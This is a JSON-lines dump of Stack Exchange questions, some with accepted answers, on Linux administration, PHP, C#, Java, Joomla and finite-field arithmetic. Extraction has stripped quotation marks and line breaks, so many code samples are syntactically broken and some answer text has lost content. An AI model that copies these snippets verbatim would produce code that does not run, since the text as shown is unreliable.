{  "id": "_unix.80128"  , "question": "I am using Fedora 17 and want to compile and use Geary. However, the required library versions are only available in Fedora 18. For various reasons I want (need!) to stick to F17 so, I was thinking of compiling in Fedora 18 (in Virtualbox) and then moving across to F17. However, I a presume once I do this and try to run on F17 it will complain about missing libraries.Is there a way to compile on F18 and it pull in all the required libraries into a folder that I can just copy across?Or is there a better way to do this?"  , "title": "Compile newer software for outdated versions of the same distribution"  , "tags": "fedora;compiling"  } 
{  "id": "_codereview.53804"  , "question": "<html><head>  <title>GPS Tracker</title>  <link rel=stylesheet type=text/css href=bootstrap/css/bootstrap.min.css>  <link rel=stylesheet type=text/css href=view/style.css>  <script type=text/javascript src=http://maps.google.com/maps/api/js?sensor=false>/script>  <script type=text/javascript>    function show_maps()      {      var div_peta = document.getElementById('kanvas');      var tengah = new google.maps.LatLng(-8.801502,115.174794);      var options =       {        center : tengah,        zoom : 14,        mapTypeId : google.maps.MapTypeId.ROADMAP      }      //make map object      var google_map = new google.maps.Map(div_peta,options);   } </script></head><body OnLoad=show_maps();> <div class=container> <div class=row>   <div class=col-md-4>     <div class=panel panel-default panel-body>       <p><b><h4>Tracking</h4></b>       <hr>       <?php         includecontroller/connection.php;         $query=mysql_query(SELECT id_history FROM tb_history);         $count=mysql_num_rows($query);       ?>       <form method=POST action=<?=$_SERVER['PHP_SELF']?>>         <input type=hidden name=count value=<?php echo $count ?>>         <input type=submit name=submit class=btn btn-primary value=Get Location style=width:280px> </button></a></p>       </form>     </div>   </div>   <div class=col-md-8>     <div class=panel panel-default panel-body style=height:490px>       <div id=kanvas> kanvas peta</div>     </div>   </div> </div><?php if(isset($_POST['submit']))   {     include controller/connection.php;     $count1 = $_POST['count'];      $count2 = $count1+1;     $sql = mysql_query(SELECT id_history FROM tb_history);     $count3 = mysql_num_rows($sql);     if($count3==$count1)     {       echo<script>setTimeout(show_maps,1000)</script>;       }     else if     {       echo<script type='text/javascript'>       alert('Data has been added!');       </script>;     }   } ?></body></html>The code that I wrote above will show a button and a Google map.Once the button has been clicked, the code will send the amount of data that exist in the tb_history.The PHP code at the bottom will always check if there's any new data added or not. If not, then it will refresh the Google map until new data has been added to the table tb_history.Can anyone suggest a better algorithm for this?"  , "title": "Refreshing Google map until new data has been added to the database"  , "tags": "javascript;php;mysql;geospatial;google maps"  } 
{  "id": "_unix.179551"  , "question": "I used to access my NAS via Caja or some other GUI file managers. When I copied a file, the date modified on the target was the same as the source file copied.Now, I mount my NAS via the command line. But, now, the date modified on the target takes on the current system date and time at the time of copying.What option can I add or remove to my mount statement so that the date modified on the target takes on what the source file is?The mount command I use is:sudo mount -t cifs -o username=<username>,password=<password> //<ip address>/directory /<mount point>Results of mount -l is://<ip address>/<directory> on /media/dnas type cifs (rw,relatime,vers=1.0,cache=strict,username=<username>,domain=<NAS domain>,uid=0,noforceuid,gid=0,noforcegid,addr=<ip address>,unix,posixpaths,serverino,acl,rsize=1048576,wsize=65536,actimeo=1)"  , "title": "Mount of NAS affects date / time modified during copy"  , "tags": "mount;nas"  } 
{  "id": "_unix.153769"  , "question": "For whatever reason, the first column is highlighted and I can't figure out why.  I have not messed with my vimrc file, nor any zsh options.  This column is only highlighted only with, aliases.zsh, file.  Opening any other file, or filetype, the highlighted column is non-existent.  Any ideas?"  , "title": "Random colored column?"  , "tags": "vim"  , "accepted_answer": "That can be either the fold column (showing nothing because no folds have been found). You can turn that off via:set foldcolumn=0You can find out where that was set via :verbose set foldcolumn?, and then remove / undo that.Or it could be the signs column, which should disappear if you remove all signs via:sign unplace *"  } 
{  "id": "_softwareengineering.283092"  , "question": "Consider the following type of Java / Spring web application, with an SQL database:there are multiple data entity types (about 100) with relations between themthe entities are viewed, edited or exposed to APIs, and frequently this happens with several entity types (joined)The current approach uses three layers:a data layer, that queries the tables, and uses entities that are 1:1 match to the databasea service layer to perform the business logic, and call the data layer as neededa controller layer - exposing operations to the client side code and to the APIMy questions related to handling the models are:Should every layer have its own models / entity classes? If yes, how is it best to handle copying / merging the models across the layers?Sometimes, at the service layer, an entity might require to have certain fields filled in one case, but not in other cases. Should there be two model classes for these two situations? (To make sure you can count on what fields are provided by the service)Given the large number of entities, is it worth to be consistent in addressing the issues above in the same manner, regardless of any extra complexities involved?"  , "title": "Application model management questions"  , "tags": "java;architecture;spring;model"  , "accepted_answer": "I don't think each layer should have their own entity classes. Doing this would multiply number of classes and raise complexity without any real benefit. Sometimes one concept from service layer doesn't map well to relational DB (or other persistence technology) so it's sensible to create different entity classes, but mostly it's not necessary and you can have the same entity class for all layers. But keep in mind that things will change and requirements for one layer will diverge from the others (e.g. you must keep the old contract at the controller layer) - that's when you need to be prepared to create different entity classes for different use cases. If you use one entity for all layers, changes will affect all layers - e.g. renaming attribute can possibly break contract of your controllers.This is usually done for performance reasons. Best thing to do is to avoid it as much as possible - beware the dangers of premature optimizations. But sometimes this is necessary and then it's difficult to give one answer - if this is one special case where this incomplete entity is used, you might get just fine with just documenting it. If it's used more often, you should create special entity class for this, otherwise you'll get lost in following complexity.Personally I think that it's better to handle this on one-by-one basis. Entities will evolve differently and trying to handle them all in a unified way will bring a lot of overhead and useless complexity.So, my advice is to create entity per layer only when it's necessary/meaningful. But you need to keep in mind the consequences and be ready to divide the entity class once the need arises.Also, be careful about transactions. It's too easy to forget whether you are in a transactional context or not, especially if you're using same entity classes everywhere. From my experience, it's usually good to have clear transactional demarcation - i.e. whole service layer is transactional (by default), everything outside (controllers, tasks etc.) is not."  } 
{  "id": "_unix.210995"  , "question": "I want to make a script that adds a space every time it counts up and outputs the number it's at until it gets to 10 then stops. I'm learning scripting and I'm just making simple scripts to learn. Here's what I've made so far: x= 1if [$x < 10] thenecho [ $x += 1 ]echo \\nthenecho done!  fi"  , "title": "One `if`, two `then`s: Why not?"  , "tags": "linux"  } 
{  "id": "_codereview.87043"  , "question": "Would you have any suggestions for improvements for the code below?def my_transpose(arr)  # number of rows  m = arr.count  #number of columns  n = arr[0].count  transposed_arr = Array.new(n) { Array.new(m) }  # loop through the rows  arr.each_with_index do |row, index1|    # loop through the colons of one row    row.each_with_index do |num, index2|      # swap indexes to transpose the initial array      transposed_arr[index2][index1] = num      p transposed_arr    end  end  transposed_arrend"  , "title": "Transposing a 2D array"  , "tags": "beginner;ruby;matrix"  } 
{  "id": "_codereview.59838"  , "question": "I have a large service application I designed; it's a solution made up of about 30 projects.I was wondering if anyone could point me in the right direction regarding using the Task-based Asynchronous Pattern (TAP) and/or the Event-based Asynchronous Pattern (EAP).BackgroundThe project in question is installed as a .NET 4.5 Windows service. This service runs a thread that uses a pre-emptive algorithm to execute detached task every 60000ms +/- 20ms (real time).The service has the ability auto recover, adjust itself based on system load, execute methods based on scheduling criteria in XML.My QuestionSince the service executes (groups of methods/no methods/single method) at specific times from a static context, what is the proper way to validate the asynchronous execution.I have implemented TPL across the solution, but I am not confident with validating the state of asynchronous running code within this project against a scheduler while implementing the task based asynchronous pattern in a windows service.In particular handling re-entrancy in Async with parallelism is the main goal.An ExampleThe Handler receives a list of methods that need to be run at time (DHHMM). This occurs every minute, at 500ms past the minute. I then asynchronously execute those method(s).For each method (methodX) I am to track:if the method has completed (will return a value indicating if it was a success or failure).if the method threw an exception (all exceptions have been handled, but just in case).if the method was canceled (due to timeout, or service onShutdown, onPause, etc).if the method is still running.But before I execute any methodX at any time (DHHMM) I need to make sure that methodX is not still currently running from any previous cycle.I must maintain that one and only one instance of any methodX be running at any time.If methodX is called while methodX is still running it is placed on a waiting list for the next interval.If methodX is called while methodX has failed or thrown an exception previously it is placed on a blocking list for all intervals(until removed from blocklist).I came up with a solution using a static dictionary to manage the status of tasks, but this is becoming apparently complicated, as I try to ensure mutual exclusion of the data structure. As I code the taskexecuter, I am attempting to batch execute collections of task based functions. I have extensively read about implementing the EAP, or current TAP. I will update the question as I code.namespace ServiceTestFloor{    public class TestFloor2    {        public static List<Func<bool, bool>> lstActions = TestFloor2A.getMethodsEWS();        public static void ExecuteTask(string processname)        {            // if processname is in the list of functions then we fire the task            /* adding more fuctionality requires external processes, or a re-complie with new code */            foreach (Func<bool, bool> act in lstActions)            {                string strclassname = act.Method.Name; // delay for the main action for this contract                if (strclassname == processname)                {                    bool isValid = act(true);                    return;                }            }        }        public static void init()        {            Console.WriteLine(Running TestFloor2A.cs);            initalizeMonitor();            Console.WriteLine(Monitor initalized);            // set up a program to pass lists of functions to test the process handler.            // list one, sleep, list 2, sleep, list 3, sleep, list 4, sleep            List<string> testgroup = new List<string>();        }        public static void initalizeMonitor()        {            /* Clears the monitor */            dTMx = new Dictionary<string, int[]>();            isActive = false;            blocklist = new List<string>();            waitlist = new List<string>();        }        private static bool isActive;        private static List<string> recientCompleted = new List<string>();        private static int intervalFailBlocking = 60; /* if a process failed then reset the failed list after an hour*/        private static List<string> waitlist = new List<string>();        private static List<string> blocklist = new List<string>(); /* blocking for the master process */        private static Dictionary<string, int[]> dTMx = new Dictionary<string, int[]>();        /*         * taskstatus         * Key(string)          =   process name         * Value(int[])         * inx[0]               =   process status      0 = Complete, 1 = Incomplete, 2 = Failed, 3 = Canceled         * inx[1]               =   Rcycs repetitions cycle counter         * inx[2]               =   Wcycs waiting cycle counter         * inx[3]               =   Fcycs failed cycle counter         * inx[4]               =   Ccycs canceled cycle counterss         */        public static void ReportProcessCompleted(string processname)        {            if (dTMx.ContainsKey(processname))            {                int[] inxx = dTMx[processname];                inxx[0] = 0;                dTMx[processname] = inxx;                //recientCompleted.Add(processname);                Console.WriteLine(Process Complete: + processname +    Rcycle time:  + inxx[1]);            }            else            {                Console.WriteLine(ReportProcessCompleted Failed: + processname +    Not Found);            }        }        public static void ReportProcessFailed(string processname)        {            if (dTMx.ContainsKey(processname))            {                int[] inxx = dTMx[processname];                inxx[0] = 2;                dTMx[processname] = inxx;                Console.WriteLine(Process Failed: + processname +    Rcycle time:  + inxx[1]);            }            else            {                Console.WriteLine(ReportProcessFailed Failed: + processname +    Not Found);            }        }        public static void ReportProcessCancel(string processname)        {            if (dTMx.ContainsKey(processname))            {                int[] inxx = dTMx[processname];                inxx[0] = 3;                dTMx[processname] = inxx;                Console.WriteLine(Process Canceled: + processname +    Rcycle time:  + inxx[1]);            }            else            {                Console.WriteLine(ReportProcessCancel Failed: + processname +    Not Found);            }        }        private static void processPre() /* Preemptive actions */        {            foreach (KeyValuePair<string, int[]> entry in dTMx) /* iterate the dTMx dictionary */            {                int[] inx = entry.Value;                string processname = entry.Key;                if (inx[0] == 0)                {                    Console.WriteLine(Process Completed: + processname +    Removing from Master);                    dTMx.Remove(processname); /* process completed sucessfully so remove from monitored processes */                }            }            if (dTMx.Count == 0)            {                isActive = false;            }            else            {                isActive = true;            }        }        public static void processMain(List<string> pls) /* calling method, main action handler */        {            processPre();            List<string> tcci = pls;            List<string> tcco = new List<string>(); /* output combinations */            Console.WriteLine(Items in Input List);            foreach (string str in tcci)            {                Console.WriteLine(str);            }            Console.WriteLine();            if (waitlist != null)            {                Console.WriteLine(Merging Wait List with Input);                Console.WriteLine(Items in Wait List);                foreach (string str in waitlist)                {                    Console.WriteLine(str);                }                Console.WriteLine();                tcco = tcci.Union(waitlist).ToList();                Console.WriteLine(Items in Merged Input List);                foreach (string str in tcco)                {                    Console.WriteLine(str);                }                Console.WriteLine();                waitlist = new List<string>();                Console.WriteLine(Wait List Cleared);            }            else            {                Console.WriteLine(Wait List Empty);            }            if (blocklist != null)            {                Console.WriteLine(Removing Blocked Items);                Console.WriteLine(Items in Block List);                foreach (string str in blocklist)                {                    Console.WriteLine(str);                }                Console.WriteLine();                tcco = tcco.Except(blocklist).ToList();                Console.WriteLine(Excepted Output List);                foreach (string str in tcco)                {                    Console.WriteLine(str);                }                Console.WriteLine();            }            else            {                Console.WriteLine(Block List Empty);            }            Console.WriteLine(Finalized List);            foreach (string str in tcco)            {                Console.WriteLine(str);            }            Console.WriteLine();            if (pls != null || pls.All(x => string.IsNullOrWhiteSpace(x))) /*check if list is empty or invalid */            {                /* input list has processes */                foreach (string proc in tcco)                {                    int[] inxx = { 1, 0, 0, 0, 0 };                    if (dTMx.ContainsKey(proc))                    {                        /* update the process if complete, canceled, Failed                         * inx[0]               =   process status      0 = Complete, 1 = Incomplete, 2 = Failed, 3 = Canceled                         * inx[1]               =   Rcycs repetitions cycle counter                         * inx[2]               =   Wcycs waiting cycle counter                         * inx[3]               =   Fcycs failed cycle counter                         * inx[4]               =   Ccycs canceled cycle counter                         */                        inxx = dTMx[proc];                        if (inxx[0] == 0) //0 = Complete, 1 = Incomplete, 2 = Failed, 3 = Canceled                        {                            dTMx[proc] = inxx;                        }                        else if (inxx[0] == 1) /* incomplete code, inc the Wcycs++ */                        {                            int Wcycs = inxx[2];                            Wcycs++;                            inxx[2] = Wcycs;                            dTMx[proc] = inxx;                            addtoWaitList(proc);                        }                        else if (inxx[0] == 2) /* failed code, inc the Fcycs++ */                        {                            int Fcycs = inxx[3];                            Fcycs++;                            inxx[3] = Fcycs;                            dTMx[proc] = inxx;                        }                        else if (inxx[0] == 3)                        {                            int Ccycs = inxx[4];                            Ccycs++;                            inxx[4] = Ccycs;                            dTMx[proc] = inxx;                        }                    }                    else                    {                        /* add the process as incomplete */                        //dTMx.Add(proc, inxx);                        addProcess(proc);                    }                }            }            else            {                /* input list is empty */            }            processPost();        }        private static void processPost() /* Postemptive actions */        {            incrementRCycs();            /* after setting up new tasks and registering the tasks */            /* now check the tasks that have registered cancel if any one exceed 5 failures in a row, 5 cancels then alert the necessary */            List<string> ffailedlist = new List<string>();            List<string> ccancellist = new List<string>();            List<string> wwaitedlist = new List<string>();            foreach (KeyValuePair<string, int[]> entry in dTMx) /* iterate the dTMx dictionary */            {                int[] inx = entry.Value;                string processname = entry.Key;                int Fcycs = inx[3];                int Wcycs = inx[2];                int Ccycs = inx[4];                if (Fcycs > 5)                {                    ffailedlist.Add(processname);                }                if (Wcycs > 5)                {                    wwaitedlist.Add(processname);                }                if (Ccycs > 5)                {                    ccancellist.Add(processname);                }            }            // if an item is waited for 5 times, it may be a long running process, after 5 times            Console.WriteLine(----------------------------);            Console.WriteLine(Items in ffailedlist);            foreach (string str in ffailedlist)            {                Console.WriteLine(str);            }            Console.WriteLine();            Console.WriteLine(Items in wwaitedlist);            foreach (string str in wwaitedlist)            {                Console.WriteLine(str);            }            Console.WriteLine();            Console.WriteLine(Items in ccancellist);            foreach (string str in ccancellist)            {                Console.WriteLine(str);            }            Console.WriteLine();        }        private static void incrementRCycs()        {            foreach (KeyValuePair<string, int[]> entry in dTMx) /* iterate the dTMx dictionary */            {                int[] inx = entry.Value;                string processname = entry.Key;                int Rcycs = inx[1];                Rcycs++;                inx[1] = Rcycs;                dTMx[processname] = inx;            }        }        private static void addtoWaitList(string processname)        {            if (waitlist.Contains(processname))            {                /* ignore this access attempt */                Console.WriteLine(Process.Add WaitList:  + processname +  Was Skipped, becuase it was already in the list);            }            else            {                waitlist.Add(processname);            }        }        private static void addProcess(string processname) /* returns stats of processname 0 = complete, 1 = incomplete, 2 = Failed, 3 = canceled, 7 = empty */        {            if (dTMx.ContainsKey(processname))            {                /* ignore this access attempt */                Console.WriteLine(Process.Add Master:  + processname +  Was Skipped, becuase it was already in the list);            }            else            {                ExecuteTask(processname);                int[] inxx = { 1, 0, 0, 0, 0 };                dTMx.Add(processname, inxx);            }        }        private static int getStatus(string processname) /* returns stats of processname 0 = complete, 1 = incomplete, 2 = Failed, 3 = canceled, 7 = empty */        {            int x = 7;            if (dTMx.ContainsKey(processname))            {                int[] inxx = dTMx[processname];                x = inxx[0];            }            return x;        }                }}"  , "title": "Validating asynchronous behavior"  , "tags": "c#;multithreading;asynchronous"  } 
{  "id": "_softwareengineering.263113"  , "question": "I'm developing a desktop application in .Net that follows a plugin architecture, something like this:-I have a core .Net solution, containing the desktop exe project, and a handful of class library projects. These classes provide all sorts of shared/common functionality, and are referenced by the application exe and individual modules.Each module lives in its own .Net solution. The solution has its own copy of the above shared library DLLs that the module's project(s) reference.End-user installation really just involves deploying the core exe & DLLs, along with the modules' DLLs required at that site, into one folder. I've got no problem with the mechanism used by the core exe to discover which modules are present, then load & initialise them.My concerns are around managing and deploying the DLLs. In an ideal world I should be able to make a change to module X and redeploy just that module's DLLs. However it's feasible that a change may also involve updating one of the shared libraries. When I redeploy these updated DLLs, the updated shared library functionality could break other modules (or even the application exe) that reference it. I guess what I should be doing in this scenario is to rebuild/redeploy all solutions, not just module X.An easier approach may be to treat the core and all modules as a single product, and redeploy everything in every release, even if it's just a change to one module. But it feels like I would be losing one of the advantages of a plugin architecture - I should be able to release a new version of a module in isolation.Any thoughts? Or are such DLL referencing issues an unavoidable part of using a plugin architecture? "  , "title": "Plugin/modular architecture - deployment concerns"  , "tags": "architecture;plugin architecture"  } 
{  "id": "_softwareengineering.219615"  , "question": "I was asked about immutable strings in Java. I was tasked with writing a function that concatenated a number of as to a string.What I wrote:public String foo(int n) {    String s = ;    for (int i = 0; i < n; i++) {        s = s + a    }    return s;}I was then asked how many strings this program would generate, assuming garbage collection does not happen. My thoughts for n=3 wasaaaaaaaaaEssentially 2 strings are created in each iteration of the loop. However, the answer was n2. What strings will be created in memory by this function and why is that way? "  , "title": "How many strings are created in memory when concatenating strings in Java?"  , "tags": "java;strings;object"  , "accepted_answer": "I was then asked how many strings this program would generate, assuming garbage collection does not happen. My thoughts for n=3 was (7)Strings 1 () and 2 (a) are the constants in the program, these are not created as part of things but are 'interned' because they are constants the compiler knows about.  Read more about this at String interning on Wikipedia.This also removes strings 5 and 7 from the count as they are the same a as String #2.  This leaves strings #3, #4, and #6.  The answer is 3 strings are created for n = 3 using your code.The count of n2 is obviously wrong because at n=3, this would be 9 and even by your worst case answer, that was only 7.  If your non-interned strings was correct, the answer should have been 2n + 1.  So, the question of how should you do this?Since the String is immutable, you want a mutable thing - something you can change without creating new objects.  That is the StringBuilder.The first thing to look at is the constructors.  In this case we know how long the string will be, and there is a constructor StringBuilder(int capacity) which means we allocate exactly as much as we need.Next, a doesn't need to be a String, but rather it can be a character 'a'.  This has some minor performance boosting when calling append(String) vs append(char) - with the append(String), the method needs to find out how long the String is and do some work on that.  On the other hand, char is always exactly one character long.The code differences can be seen at StringBuilder.append(String) vs StringBuilder.append(char).  Its not something to be too concerned with, but if you're trying to impress the employer it is best to use the best possible practices.So, how does this look when you put it together?public String foo(int n) {    StringBuilder sb = new StringBuilder(n);    for (int i = 0; i < n; i++) {        sb.append('a');    }    return sb.toString();}One StringBuilder and one String have been created.  No extra strings needed to be interned.Write some other simple programs in Eclipse.  Install pmd and run it on the code you write.  Note what it complains about and fix those things.  It would have found the modification of a String with + in a loop, and if you changed that to StringBuilder, it would have maybe found the initial capacity, but it would certainly catch the difference between .append(a) and .append('a')"  } 
{  "id": "_unix.172278"  , "question": "On a SLES 9 machine I added the line: vi /etc/security/limits.confUSERNAME        hard    cpu           70but when I check it with ulimit -a: SERVER:~ # su USERNAMEUSERNAME@SERVER:/root> ulimit -a | grep -i cpucpu time             (seconds, -t) unlimitedUSERNAME@SERVER:/root> USERNAME@SERVER:/root> ulimit -Ha | grep -i cpucpu time             (seconds, -t) unlimitedUSERNAME@SERVER:/root> It still says unlimited. Question: What am I missing? "  , "title": "limits.conf modification doesn't work"  , "tags": "su;ulimit"  } 
{  "id": "_softwareengineering.231273"  , "question": "I work at a company that wants to be agile, but the business analysts often provide us user stories that are more solution than problem statement. This makes it difficult to make good design decisions, or in more extreme cases, leaves few design decisions to be made. It does not help the programmers understand the user's needs or make better design decisions in the future. Our product owner makes an effort to provide us with problem statements, but we still sometimes get solution statements, and that tends toward a code monkey situation.An additional challenge is that some (not all) of my teammates do not see a problem with this, and some of them honestly want to be told what to do. Thus, when we receive a solution statement on our backlog, they are eager to jump right in and work on it.I believe that as a software engineer part of my job is to understand the user's needs so that I can build the right thing for the user. However, within our organization structure, I have zero contact with the user. What kind of things can I do to better understand our users?"  , "title": "How to get better understanding of the users as a programmer"  , "tags": "users;systems analysis"  , "accepted_answer": "This really depends on your management.What I have found in over 13 years of software engineering is that I need to talk directly to the customers and sometimes even end users (often in software these are separate entities). Business analysts are hit or miss: some of them understand the customer and end users and write really good requirements (not solutions), some of them go too far and assume too much.I would recommend talking to your management and argue that you need to be involved earlier in the process, ideally right after sales exits the picture and the BAs enter. Do not be just a fly on the wall: you need to assert yourself as a product expert seeking to understand the problem domain (ugh, buzzwords: you know your software, you want to learn what the customer wants you to do with it).For existing projects, I would work through your project manager and try to cut the BAs out of the picture. You will likely get answers that match what you have already been told. Do not accept this. Try to get in meetings with the customer to discuss requirements. In an Agile environment there should be no problem with this: if you do not understand something, the customer is the final arbiter for requirements (but not necessarily for what your company will authorize you to do in the billable hours paid for).Essentially, keep asking questions and do not shut your mouth until you fully understand what the customer wants. Just because a BA gave you an odd-sounding requirement does not mean this is what the customer wants, or that it is the best way to accomplish the customer's wishes."  } 
{  "id": "_webmaster.42432"  , "question": "Since Firefox 18 was released, new users have been unable to register on our Joomla-based site. The form loads and works in Chrome, IE, and Firefox 17 but not Firefox 18. To make things even more confusing: Inspect Element in Firefox 18 shows a form element that is empty, however, View Page Source in Firefox 18 shows the entire form. Furthermore, using the Web Developer Tools, we checked the HTTP request and response. The response contains the entire form (including inner elements) but Firefox 18 and Inspect Element still don't show these. We've tried dumping the cache, installing the latest Java update, and resetting Firefox to default (i.e. no add-ons or themes.) We are completely stumped on what to do. We've put in a support request, but we're wondering if anyone else has any idea what could be the problem.Here's the site for reference: SIJHSAA -- if you click on Create an account in the right hand sidebar, this is the form that is not working in Firefox 18."  , "title": "Form content not loading in Firefox 18"  , "tags": "joomla;firefox"  , "accepted_answer": "Joomla 1.5 is pretty old now and not supported so at some point you should upgrade.The problem is mootools you can fix this by adding this to /components/com_gantry/js/mootools-1.2.5.js>String.prototype.contains = function(string, separator){return (separator) ? (separator + this + separator).indexOf(separator + string + separator) > -1 : String(this).indexOf(string) > -1;};Ensure not add within another function, alternatively you try updating mootools but it might be caused by joomla, worth trying mind.You could ask or read up on this issue here http://forum.joomla.org/viewtopic.php?f=428&t=785730"  } 
{  "id": "_webmaster.103380"  , "question": "We have company's website successfully connected to Google Analytics account, which we can access with one email address. We have only reading rights and can't see the main admin or add other users to the Analytics account. How do we take control of our own analytics without loosing the historical data?"  , "title": "Company's analytics account - How to change admin when current admin is unknown"  , "tags": "google analytics"  } 
{  "id": "_cs.38023"  , "question": "A program takes as input a balanced binary search tree with n leaf nodes and computes the value of a function $g(x)$ for each node x. If the cost of computing $g(x)$ is min{no. of leaf-nodes in left-subtree of x, no. of leaf-nodes in right-subtree of x} then what is the worst case time complexity?Since $g(x)$ is applied on the 2 halves of the binary tree, I guess the recurrence relation must look something like :$$T(n) = 2T\\Big(\\frac{n}{2}\\Big)+k$$What I could understand from the question is that $g(x)$ is applied on all the $n$ nodes and  instead of $k$ it must be something of the order $O(n)$ but I'm not sure what it is. Am I heading in the right direction?"  , "title": "How to write recurrence relation for the following scenario?"  , "tags": "algorithm analysis;runtime analysis;recurrence relation;binary trees"  } 
{  "id": "_unix.264516"  , "question": "After many, many, many failed attempts to get accelerated HTML5 video working on any hardware (tested about 5 machines) I came to the conclusion that accelerated HTML5 is something difficult under Linux.Now I just need some hardware to realize a HTML5/WebRTC based (not only) video conferencing application for use with a TV, but I don't know where to find suitable hardware. It's all easier with Windows, but I'd like to stick with Linux for other reasons.Can somebody tell me how to find or suggest some hardware that will...be supported by some HTML5 browser with WebRTC support (video conferencing) - preferably Chrome/Chromiumallow fluid video playback up to HD resolutionsmay be Intel architecture (preferred) or also ARM if there is some open board support packagehave HDMI outputunder Debian Jessie, or perhaps Ubuntupreferably with X11, but it's not important as only the (headless) browser is displayed full-screen (HTML5 application)It would also be a great help if it boils down to graphics card X works well with Chrome if you use Kernel X.I know that I'm asking for hardware but it's actually Linux software that's heavily limiting the selection, so I assume this is not off-topic.Thanks."  , "title": "accelerated HTML5 video: what hardware is supported well by Linux?"  , "tags": "debian;hardware;video;browser;gpu"  } 
{  "id": "_scicomp.21299"  , "question": "Consider a $GF(2^n)$ field, a $GF(2^k)$ galois fields, where $n=k \\times m$ and $GF(2^k)$ is a ground field of $GF(2^n)$.Id appreciate pointers to papers or suggestions on:How to find $\\log(a)$ and $\\exp(a)$ where $a$ is in $GF(2^n)$ given $\\log/\\exp$ look-up tables of $GF(2^k)$?How to convert the values between $GF(2^n)$ into $GF\\left( (2^k)^m \\right)$.Specifically I need solution for $n = 16$ (with any combination of integer $m$ and $k$, e.g. $k = 8$, $m = 2$) such that amount of calculations used for conversion is minimal. Generator polynomials for all three fields can be assumed to be known, for example for case of $n = 16$, $k = 8$, $m = 2$:$$\\begin{eqnarray}&& GF(2^{16}) :     x^{16} + x^5 + x^3 + x^2 + 1 \\\\&& GF(2^8) :     x^8  + x^4 + x^3 + x^2 + 1 \\\\&& GF\\left( (2^8)^2 \\right) :  x^2  + 3x  + 1\\end{eqnarray}$$Additional background info: Generally I have $\\log$ and $\\exp$ look-up tables for $GF(2^n)$ and can avoid the conversion problem all together, but $2^n$ tables don't fit into memory-constrained CPU I'm using. Thus I'm interested to calculate $\\log$ and $\\exp$ of $GF(2^{16})$ using $\\log/\\exp$ tables of $GF(2^8)$ or $GF(2^4)$. I came across this paper, but it explicitly says that $GF(2^{km})$ is not identical to $GF \\left( (2^k)^m \\right)$, but doesn't offer a way to convert between the two: the result of multiplication using ground and extension fields doesn't match the multiplication result using any other method (presumably because the composite field is not identical to the original field).Thanks in advance for any help.p.s. same question is also posted on math.stackexchange, here."  , "title": "How to calculate log or exp of a value in GF(2^n) using log/exp table of GF((2^k)^m) where n=k*m?"  , "tags": "linear algebra"  } 
{  "id": "_softwareengineering.257174"  , "question": "I understand exceptions, throwing them, handling them, and propagating them to a method lower in the call stack (i.e. throws).What I don't understand is this:public static void main(String[] args) throws Exception {    ...}Now, I assume that in the case that main throws an Exception, the JVM handles it (correct?). If that's the case, then my question is:How does the JVM handle exceptions thrown by main? What does it do?"  , "title": "How does the JVM handle an exception thrown by the main method?"  , "tags": "java;exceptions;jvm"  , "accepted_answer": "You might think that the public static void main method in Java or the main function in C is the real entry point of your program  but it isn't. All high-level languages (including C) have a language runtime that initializes the program, and then transfers control flow to the entry point. In the case of Java, initialization will include:setting up the JVMloading required classesrunning static initializer blocks. This can execute user-defined code before main is invoked. These blocks aren't supposed to throw exceptions.There are a variety of ways to implement exception handling, but for the purpose of this question, they all can be viewed as a black box. The important thing however is that the language runtime must always provide an outermost exception handler that catches all exceptions that aren't caught by user code. This exception handler will usually print out a stack trace, shut down the program in an orderly fashion, and exit with an error code. Properly shutting down the program includes destroying the object graph, invoking finalizers, and freeing resources such as memory, file handles, or network connections.For purposes of illustration, you can imaging the runtime wrapping all code in a giant try-catch that looks liketry {    loadClasses();    runInitializers();    main(argv);    System.exit(0);} catch (Throwable e) {    e.printStackTrace();    System.exit(-1);}except that it's not necessary for a language to actually execute code like this. The same semantics can be implemented in the code for throw (or equivalent) that searches for the first applicable exception handler."  } 
{  "id": "_unix.239629"  , "question": "Given a certain PID, is it possible to discover what command-line executed this process? top, atop, ps provide real time informations, I'm looking for something whereby I can look the past, because I've seen a process taking many resources of the machine, I've killed it, but now I want to know more about it"  , "title": "history/log of command-lines executed to launch processes(pid)"  , "tags": "process;logs"  , "accepted_answer": "In the general classic sense, no, it's not possible to discover that information by PID.  For one thing, PIDs wrap at 64k. There may be other security packages or loggers that would retain this information."  } 
{  "id": "_unix.292203"  , "question": "I want to compile guile on shared hosting but when I run ./configure I've got error:configure: error: GNU MP 4.1 or greater not found, see READMEso I've downloaded GMP and tried to install it locally (found in answer to this question on Stack Overflow install library in home directory)mkdir /home/jcubic/lib./configure --prefix=/home/jcubic/makemake installit created this files in /home/jcubic/liblibgmp.alibgmp.lalibgmp.solibgmp.so.10libgmp.so.10.3.1then I've run configure from guile directory (found the option by reading configure script):./configure --with-libgmp-prefix=/home/jcubicbut the error remain, how can I use local GNU MP file while running guile ./configure and make?"  , "title": "How to use local shared library while compiling the FOSS project?"  , "tags": "compiling;libraries;configure"  , "accepted_answer": "As a sum up of the comments. One has to add the environment variables as follows.LD_LIBRARY_PATH=/home/<user>/lib LIBRARY_PATH=/home/<user>/lib CPATH=/home/<user>/include"  } 
{  "id": "_unix.66503"  , "question": "The executable files that gcc creates have execution permissions-rwxrwxr-xwhich are different than the permissions that the source file has. -rw-rw-r--How does gcc set these permissions ? "  , "title": "How does gcc handle file permissions?"  , "tags": "permissions;files;gcc"  , "accepted_answer": "Four things intervene to determine the permission of a file.When an application creates a file, it specifies a set of initial permissions. These initial permissions are passed as an argument of the system call that creates the file (open for regular files, mkdir for directories, etc.).The permissions are masked with the umask, which is an attribute of the running process. The umask indicates permission bits that are removed from the permissions specified by the application. For example, an umask of 022 removes the group-write and other-write permission. An umask of 007 leaves the group-write permission but makes the file completely off-limits to others.The permissions may be modified further by access control lists. I won't discuss these further in this post.The application may call chmod explicitly to change the permissions to whatever it wants. The user who owns a file can set its permissions freely.Some popular choices of permission sets for step 1 are:666 (i.e. read and write for everybody) for a regular file.600 (i.e. read and write, only for the owner) for a regular file that must be remain private (e.g. an email, or a temporary file).777 (i.e. read, write and execute for everybody) for a directory, or for an executable regular file.It's the umask that causes files not to be world-readable even though applications can and usually do include the others-write permission in the file creation permissions.In the case of gcc, the output file is first created with permissions 666 (masked by the umask), then later chmod'ed to make it executable. Gcc could create an executable directly, but doesn't: it only makes the file executable when it's finished writing it, so that you don't risk starting to execute the program while it's incomplete."  } 
